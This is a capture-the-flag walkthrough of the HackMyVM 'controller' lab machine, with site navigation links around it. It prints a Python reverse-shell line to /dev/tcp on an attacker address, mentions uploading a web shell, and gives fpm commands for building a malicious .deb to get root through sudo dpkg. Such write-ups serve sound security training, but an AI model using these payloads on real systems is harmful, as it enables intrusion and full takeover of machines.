当前位置:网站首页>hackmyvm: controller walkthrough
hackmyvm: controller walkthrough
2022-08-02 03:59:00 【xdeclearn】
1. get first reverse shell
visit port 80, from the page http://192.168.85.135/index.php/2021/06/27/hola-mundo/
we get hint.
use enum4linux
to get samba shares, the we get the directory tester
which we can visit without user and passwd.
follow the hint, we put the text.txt using smbclient
in this share, wait a moment, we get first reverse shell.
test.txt
import commands
commands.getoutput('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.85.129/4444 0>&1"')
2. get root
check process list, we can see the user webservies run php localhost.
we use the tool venom
to forward localhost port 8080 to attack machine port 8888.
upload a word shell by upload.php
.
because of thedisable_functions
, you can not use terminal directly. you can use php7_userfilter
to bypass. But in there, you do not need to do this.
check the file which own to user webservices
.
we find the /opt/logs/log.txt
will be changed by /opt/website.py
at intervals. so we change the file to reverse a new shell.
then, we get the new user shell.
check sudo -l
, we find the dpkg -i
[1]. make a particular deb by using fpm
, we get the root.
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
3. references
- https://gtfobins.github.io/gtfobins/dpkg/
边栏推荐
- Praying: 1 vulnhub walkthrough
- 4.PHP数组与数组排序
- Alfa: 1 vulnhub walkthrough
- (8) requests、os、sys、re、_thread
- 13.JS输出内容和语法
- vim edit mode
- 解决 Zlibrary 卡死/找不到域名/达到限额问题,Zlibrary最新地址
- (6) 学生信息管理系统设计
- ES6数组的扩展方法map、filter、reduce、fill和数组遍历for…in for…of arr.forEach
- [league/flysystem] An elegant and highly supported file operation interface
猜你喜欢
随机推荐
hackmyvm: juggling walkthrough
PHP的几个有趣的打开方式:从基本到变态
Alfa: 1 vulnhub walkthrough
Warzone: 3 (Exogen) vulnhub walkthrough
[phpunit/php-timer] A timer for code execution time
Multithreading (implementing multithreading, thread synchronization, producer and consumer)
hackmyvm-random walkthrough
About the apache .htaccess file of tp
easyswoole uses redis to perform geoRadiusByMember Count invalid fix
web渗透必玩的靶场——DVWA靶场 1(centos8.2+phpstudy安装环境)
SQL: DDL, DML, DQL, DCL corresponding introduction and demonstration
IO流、 编码表、 字符流、 字符缓冲流
PHP图片压缩到指定的大小
关于tp的apache 的.htaccess文件
(5) 模块与包、编码格式、文件操作、目录操作
宝塔邮局邮箱设置成功后能发送不能接收问题处理
Masashi: 1 vulnhub walkthrough
Eric靶机渗透测试通关全教程
Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary
13. JS output content and syntax